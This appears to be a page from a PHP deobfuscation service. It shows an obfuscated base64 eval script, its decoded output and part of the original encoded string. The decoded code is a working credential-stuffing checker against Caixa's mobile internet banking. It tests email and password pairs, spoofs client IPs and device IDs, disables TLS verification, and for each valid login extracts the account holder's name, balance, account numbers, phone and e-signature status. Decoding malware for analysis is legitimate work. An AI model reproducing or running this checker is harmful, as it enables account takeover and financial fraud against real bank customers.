Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF90aW1lX2xpbWl0KD..

Decoded Output download

?>b'<?php
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);
date_default_timezone_set(\'America/Sao_Paulo\');
ini_set(\'memory_limit\', \'-1\');

///////////////////// FUNES ////////////////////

function curlResponseHeaderCallback($ch, $headerLine) {
    global $cookies;
    if (preg_match(\'/^Set-Cookie:\s*([^;]*)/mi\', $headerLine, $cookie) == 1)
        $cookies[] = $cookie;
    return strlen($headerLine); // Needed by curl
}

function multiexplode ($delimiters,$string) {
$ready = str_replace($delimiters, $delimiters[0], $string);
$launch = explode($delimiters[0], $ready);
return$launch;
}

function soNumero($str) {
    return preg_replace("/[^0-9]/", "", $str);
}
function getStr($string, $start, $end){
    $str = explode($start, $string);
    $str = explode($end, $str[1]);                              
    return $str[0];
}
function inStr($string, $start, $end, $value) {
    $str = explode($start, $string);
    $str = explode($end, $str[$value]);
    return $str[0];
}

if($_GET[\'testar\']=="cc"){
$ccs = $_GET[\'ccs\'];
$separador  = $_GET[\'separador\'];
$id   = $_GET[\'id\'];
$explode = explode($separador, $ccs);

$email = $explode[0];
$senha = $explode[1];
$Contar_Senha = strlen($senha);



$Dois_Primeiro = substr($senha,0,2);
$Dois_Meio = substr($senha,2,2);
$Dois_Ultimo = substr($senha,6,6);
$Antiga = \'\'.$Dois_Primeiro.\'\'.$Dois_Meio.\'\'.$Dois_Ultimo.\'\';

if($Contar_Senha < 6) {
echo "<font style=\'font-size: 14px;\'><i style=\'display: none;\'>LOGIN_DIE</i> $email | $senha - SENHA MENOR QUE 6 DIGITOS OU MAIOR QUE 8 DIGITOS! <br>"; return;
}elseif($Contar_Senha > 8) {
echo "<font style=\'font-size: 14px;\'><i style=\'display: none;\'>LOGIN_DIE</i> $email | $senha - SENHA MENOR QUE 6 DIGITOS OU MAIOR QUE 8 DIGITOS! <br>"; return;
}
///////////////////// COOKIES ////////////////////
if(file_exists(getcwd().\'/cookie.txt\')) {
unlink(getcwd().\'/cookie.txt\'); 
} 

$ip1 = rand(0,255);
$ip2 = rand(0,255);
$ip3 = rand(0,255);
$ip4 = rand(0,255);
$ip = \'\'.$ip1.\'.\'.$ip2.\'.\'.$ip3.\'.\'.$ip4.\'\';

$cache = \'161057\'.mt_rand(0,9999999);
$dispositivo1 = mt_rand(0,9);
$dispositivo2 = mt_rand(0,9);
$dispositivo3 = mt_rand(0,9);
$dispositivo4 = mt_rand(0,9);
$dispositivo5 = mt_rand(10,99);
$dispositivo6 = mt_rand(10000,99999);


///////////////////// CURLS ////////////////////
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/loginLightNovo?nocache=\'.$cache.\'&fresh=1\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Upgrade-Insecure-Requests: 1\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'soversao: 6.0.1\',
\'appversao: 3.8.2\',
\'X-Requested-With: br.com.gabba.Caixa\',
\'digestiddispositivo: \'.$dispositivo1.\'AB\'.$dispositivo2.\'E\'.$dispositivo3.\'B\'.$dispositivo4.\'|\'.$dispositivo5.\'D\'.$dispositivo6
.\'\',
\'la: 0.0\',
\'pl: 10.0\',
\'em: 0\',
\'so: 11\',
\'lo: 0.0\',
\'useragent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$Session = curl_exec($ch);

//////////////////// ERRO DE CONEXO /////////////////////
if (curl_error($ch)) {
     echo "<font style=\'font-size: 15px;\'> $email | $senha - ERRO DE CONEXO! <br>"; return;
}

if(empty($Session)){
  echo "<font style=\'font-size: 15px;\'> $email | $senha - NENHUM RETORNO OBTIDO NA SESSO! <br>"; return;
}elseif (strpos($Session, \'loginLightNovo;jsessionid=\')) {
$Session_ID = inStr($Session, \'loginLightNovo;jsessionid=\',\'?nocache=\', 1);
$Cookie = inStr($Session, \'Set-Cookie: JSESSIONID="\',\'";\', 1);
$Cookie2 = inStr($Session, \'Set-Cookie: \',\';\', 2);
}else{
   echo "<font style=\'font-size: 15px;\'> $email | $senha - NO FOI POSSVEL OBTER A SESSO! <br>"; return;
}

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/login/authUserNameLight?nocache=\'.$cache.\'\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: keep-alive\',
\'Cache-Control: max-age=0\',
\'Upgrade-Insecure-Requests: 1\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Origin: null\',
\'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\',
\'content-type: application/x-www-form-urlencoded\',
\'X-Requested-With: br.com.gabba.Caixa\',
\'Cookie: JSESSIONID="\'.$Cookie.\'"; \'.$Cookie2.\'\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, \'nomeUsuario=\'.$email.\'&segmento=1&userAgent=Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\');
$Login_CPF = curl_exec($ch);
$ERRO_LOGIN = inStr($Login_CPF, \'"mensagemPaginaErro":"\',\'"\', 1);

if(empty($Login_CPF)){
  echo "<font style=\'font-size: 15px;\'> $email | $senha - NENHUM RETORNO OBTIDO! <br>"; return;
}elseif(strpos($Login_CPF, \'USURIO NO CADASTRADO\')) {
echo "<font style=\'font-size: 14px;\'><i style=\'display: none;\'>LOGIN_DIE</i> $email | $senha - USURIO NO CADASTRADO! <br>"; return;
}elseif(strpos($Login_CPF, \'"tituloPaginaErro":"Aviso","mensagemPaginaErro":"\')) {
  echo "<font style=\'font-size: 15px;\'> $email | $senha - $ERRO_LOGIN! <br>"; return;
}elseif(strpos($Login_CPF, \'icoIdentificacaoUsuario\')) {

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/login/authPasswordLight?nocache=\'.$cache.\'\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: keep-alive\',
\'Cache-Control: max-age=0\',
\'Upgrade-Insecure-Requests: 1\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Origin: null\',
\'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\',
\'content-type: application/x-www-form-urlencoded\',
\'X-Requested-With: br.com.gabba.Caixa\',
\'Cookie: JSESSIONID="\'.$Cookie.\'"; \'.$Cookie2.\'\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, \'retornoF10=&password=\'.$senha.\'&userAgent=Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\');
$Login_SENHA = curl_exec($ch);

if(empty($Login_SENHA)){
  echo "<font style=\'font-size: 15px;\'> $email | $senha - NENHUM RETORNO OBTIDO! <br>"; return;
}elseif(strpos($Login_SENHA, \'SENHA DE ACESSO NAO CONFERE\')) {
  echo "<font style=\'font-size: 15px;\'><i style=\'display: none;\'>LOGIN_DIE</i> $email | $senha - SENHA DE ACESSO NAO CONFERE! <br>"; return;
}elseif(strpos($Login_SENHA, \'Senha de acesso bloqueada\')) {
  echo "<font style=\'font-size: 15px;\'><i style=\'display: none;\'>LOGIN_DIE</i> $email | $senha - SENHA DE ACESSO BLOQUEADA! <br>"; return;
}elseif(strpos($Login_SENHA, \'nao existem contas cadastradas neste usuario\')) {
    echo "<font style=\'font-size: 15px;\'><i style=\'display: none;\'>LOGIN_DIE</i> $email | $senha - CPF SEM CADASTRO! <br>"; return;
}elseif(strpos($Login_SENHA, \'<html>\')) {
$Cookie_Senha = inStr($Login_SENHA, \'Set-Cookie: CCOOKIE="\',\'";\', 1);

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/componentSaldo/atualizaSaldo?nocache=\'.$cache.\'\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Cookie: \'.$Cookie2.\'; CCOOKIE="\'.$Cookie_Senha.\'"\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: Keep-Alive\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$Ver_Saldo = curl_exec($ch);
$Saldo = inStr($Ver_Saldo, \'"saldo":"\',\'"\', 1);
$Chave_Conta = inStr($Ver_Saldo, \'"chaveResource":"\',\'"\', 1);

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/contas/listarTodasXs?nocache=\'.$cache.\'\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Cookie: \'.$Cookie2.\'; CCOOKIE="\'.$Cookie_Senha.\'"\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: Keep-Alive\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$Ver_Conta = curl_exec($ch);
$AG = inStr($Ver_Conta, \'"agencia":"\',\'"\', 1);
$OP = inStr($Ver_Conta, \'"tipo":"\',\'"\', 1);
$CC = inStr($Ver_Conta, \'"conta":"\',\'"\', 1);

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/clientInfo/buscarDadosUsuario?nocache=\'.$cache.\'&saldoVisible=true&context=sinbc&rangeMinimo=0&rangeMaximo=0\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Cookie: \'.$Cookie2.\'; CCOOKIE="\'.$Cookie_Senha.\'"\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: Keep-Alive\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$Ver_Dados = curl_exec($ch);
$NOME = inStr($Ver_Dados, \'"nome":"\',\' "\', 1);

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/cadDispositivo/recuperaSituacaoAssinatura?_=\'.$cache.\'\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Cookie: \'.$Cookie2.\'; CCOOKIE="\'.$Cookie_Senha.\'"\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: Keep-Alive\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$Ver_Assinatura = curl_exec($ch);
if(strpos($Ver_Assinatura, "Sua assinatura esta ATIVA") !== false) {$ASSINATURA = \'ATIVA\';}
elseif(strpos($Ver_Assinatura, "a sua assinatura eletrnica se encontra bloqueada") !== false) {$ASSINATURA = \'BLOQUEADA\';}
elseif(strpos($Ver_Assinatura, "Sua assinatura esta CANCELADA") !== false) {$ASSINATURA = \'CANCELADA\';}
elseif(strpos($Ver_Assinatura, "Sua assinatura esta SPACES") !== false) {$ASSINATURA = \'NO POSSUI\';}
elseif(strpos($Ver_Assinatura, "a partir deste computador  preciso alterar") !== false) {$ASSINATURA = \'NECESSITA ALTERAR\';}
else{$ASSINATURA = \'ERRO\';}

curl_setopt($ch, CURLOPT_URL, \'https://mob.internetbanking.caixa.gov.br/sinbc/nb/cadDispositivo/listadeCelulares?_=\'.$cache.\'\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, arraY(
\'X_FORWARDED_FOR: \'.$ip.\'\',
\'REMOTE_ADDR: \'.$ip.\'\',
\'Cookie: \'.$Cookie2.\'; CCOOKIE="\'.$Cookie_Senha.\'"\',
\'User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36\',
\'Host: mob.internetbanking.caixa.gov.br\',
\'Connection: Keep-Alive\'
));
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$Ver_Celular = curl_exec($ch);
$DDD = inStr($Ver_Celular, \'"dddCelular":"\',\'"\', 1);
$CEL = inStr($Ver_Celular, \'"numeroCelular":"\',\'"\', 1);
if(empty($CEL)){$CELULAR = \'ERROR\';}
elseif(strpos($CEL, "null") !== false) {$CELULAR = \'NULL\';}
else{$CELULAR = \'(\'.$DDD.\') \'.$CEL.\'\';}

    echo "<font style=\'font-size: 15px;\'><i style=\'display: none;\'>LOGIN_LIVE</i> $email | $senha - NOME: $NOME  SALDO: $Saldo  CONTA: $AG / $OP / $CC  CEL: $CELULAR  ASSINATURA: $ASSINATURA #PEARCECHK<br>"; return;
}


//
}
      
}

'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL1Nhb19QYXVsbycpOw0KaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLyBGVU7Dh8OVRVMgLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZnVuY3Rpb24gY3VybFJlc3BvbnNlSGVhZGVyQ2FsbGJhY2soJGNoLCAkaGVhZGVyTGluZSkgew0KICAgIGdsb2JhbCAkY29va2llczsNCiAgICBpZiAocHJlZ19tYXRjaCgnL15TZXQtQ29va2llOlxzKihbXjtdKikvbWknLCAkaGVhZGVyTGluZSwgJGNvb2tpZSkgPT0gMSkNCiAgICAgICAgJGNvb2tpZXNbXSA9ICRjb29raWU7DQogICAgcmV0dXJuIHN0cmxlbigkaGVhZGVyTGluZSk7IC8vIE5lZWRlZCBieSBjdXJsDQp9DQoNCmZ1bmN0aW9uIG11bHRpZXhwbG9kZSAoJGRlbGltaXRlcnMsJHN0cmluZykgew0KJHJlYWR5ID0gc3RyX3JlcGxhY2UoJGRlbGltaXRlcnMsICRkZWxpbWl0ZXJzWzBdLCAkc3RyaW5nKTsNCiRsYXVuY2ggPSBleHBsb2RlKCRkZWxpbWl0ZXJzWzBdLCAkcmVhZHkpOw0KcmV0dXJuJGxhdW5jaDsNCn0NCg0KZnVuY3Rpb24gc29OdW1lcm8oJHN0cikgew0KICAgIHJldHVybiBwcmVnX3JlcGxhY2UoIi9bXjAtOV0vIiwgIiIsICRzdHIpOw0KfQ0KZnVuY3Rpb24gZ2V0U3RyKCRzdHJpbmcsICRzdGFydCwgJGVuZCl7DQogICAgJHN0ciA9IGV4cGxvZGUoJHN0YXJ0LCAkc3RyaW5nKTsNCiAgICAkc3RyID0gZXhwbG9kZSgkZW5kLCAkc3RyWzFdKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICByZXR1cm4gJHN0clswXTsNCn0NCmZ1bmN0aW9uIGluU3RyKCRzdHJpbmcsICRzdGFydCwgJGVuZCwgJHZhbHVlKSB7DQogICAgJHN0ciA9IGV4cGxvZGUoJHN0YXJ0LCAkc3RyaW5nKTsNCiAgICAkc3RyID0gZXhwbG9kZSgkZW5kLCAkc3RyWyR2YWx1ZV0pOw0KICAgIHJldHVybiAkc3RyWzBdOw0KfQ0KDQppZigkX0dFVFsndGVzdGFyJ109PSJjYyIpew0KJGNjcyA9ICRfR0VUWydjY3MnXTsNCiRzZXBhcmFkb3IgID0gJF9HRVRbJ3NlcGFyYWRvciddOw0KJGlkICAgPSAkX0dFVFsnaWQnXTsNCiRleHBsb2RlID0gZXhwbG9kZSgkc2VwYXJhZG9yLCAkY2NzKTsNCg0KJGVtYWlsID0gJGV4cGxvZGVbMF07DQokc2VuaGEgPSAkZXhwbG9kZVsxXTsNCiRDb250YXJfU2VuaGEgPSBzdHJsZW4oJHNlbmhhKTsNCg0KDQoNCiREb2lzX1ByaW1laXJvID0gc3Vic3RyKCRzZW5oYSwwLDIpOw0KJERvaXNfTWVpbyA9IHN1YnN0cigkc2VuaGEsMiwyKTsNCiREb2lzX1VsdGltbyA9IHN1YnN0cigkc2VuaGEsNiw2KTsNCiRBbnRpZ2EgPSAnJy4kRG9pc19QcmltZWlyby4nJy4kRG9pc19NZWlvLicnLiREb2lzX1VsdGltby4nJzsNCg0KaWYoJENvbnRhcl9TZW5oYSA8IDYpIHsNCmVjaG8gIjxmb250IHN0eWxlPSdmb250LXNpemU6IDE0cHg7Jz48aSBzdHlsZT0nZGlzcGxheTogbm9uZTsnPkxPR0lOX0RJRTwvaT4gJGVtYWlsIHwgJHNlbmhhIC0gU0VOSEEgTUVOT1IgUVVFIDYgRElHSVRPUyBPVSBNQUlPUiBRVUUgOCBESUdJVE9TISA8YnI+IjsgcmV0dXJuOw0KfWVsc2VpZigkQ29udGFyX1NlbmhhID4gOCkgew0KZWNobyAiPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTRweDsnPjxpIHN0eWxlPSdkaXNwbGF5OiBub25lOyc+TE9HSU5fRElFPC9pPiAkZW1haWwgfCAkc2VuaGEgLSBTRU5IQSBNRU5PUiBRVUUgNiBESUdJVE9TIE9VIE1BSU9SIFFVRSA4IERJR0lUT1MhIDxicj4iOyByZXR1cm47DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8gQ09PS0lFUyAvLy8vLy8vLy8vLy8vLy8vLy8vLw0KaWYoZmlsZV9leGlzdHMoZ2V0Y3dkKCkuJy9jb29raWUudHh0JykpIHsNCnVubGluayhnZXRjd2QoKS4nL2Nvb2tpZS50eHQnKTsgDQp9IA0KDQokaXAxID0gcmFuZCgwLDI1NSk7DQokaXAyID0gcmFuZCgwLDI1NSk7DQokaXAzID0gcmFuZCgwLDI1NSk7DQokaXA0ID0gcmFuZCgwLDI1NSk7DQokaXAgPSAnJy4kaXAxLicuJy4kaXAyLicuJy4kaXAzLicuJy4kaXA0LicnOw0KDQokY2FjaGUgPSAnMTYxMDU3Jy5tdF9yYW5kKDAsOTk5OTk5OSk7DQokZGlzcG9zaXRpdm8xID0gbXRfcmFuZCgwLDkpOw0KJGRpc3Bvc2l0aXZvMiA9IG10X3JhbmQoMCw5KTsNCiRkaXNwb3NpdGl2bzMgPSBtdF9yYW5kKDAsOSk7DQokZGlzcG9zaXRpdm80ID0gbXRfcmFuZCgwLDkpOw0KJGRpc3Bvc2l0aXZvNSA9IG10X3JhbmQoMTAsOTkpOw0KJGRpc3Bvc2l0aXZvNiA9IG10X3JhbmQoMTAwMDAsOTk5OTkpOw0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLyBDVVJMUyAvLy8vLy8vLy8vLy8vLy8vLy8vLw0KJGNoID0gY3VybF9pbml0KCk7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwczovL21vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyL3NpbmJjL25iL2xvZ2luTGlnaHROb3ZvP25vY2FjaGU9Jy4kY2FjaGUuJyZmcmVzaD0xJyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJhWSgNCidYX0ZPUldBUkRFRF9GT1I6ICcuJGlwLicnLA0KJ1JFTU9URV9BRERSOiAnLiRpcC4nJywNCidIb3N0OiBtb2IuaW50ZXJuZXRiYW5raW5nLmNhaXhhLmdvdi5icicsDQonVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMScsDQonVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBTTS1KNTAwTSBCdWlsZC9NTUIyOU07IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODcuMC40MjgwLjE0MSBNb2JpbGUgU2FmYXJpLzUzNy4zNicsDQonc292ZXJzYW86IDYuMC4xJywNCidhcHB2ZXJzYW86IDMuOC4yJywNCidYLVJlcXVlc3RlZC1XaXRoOiBici5jb20uZ2FiYmEuQ2FpeGEnLA0KJ2RpZ2Vz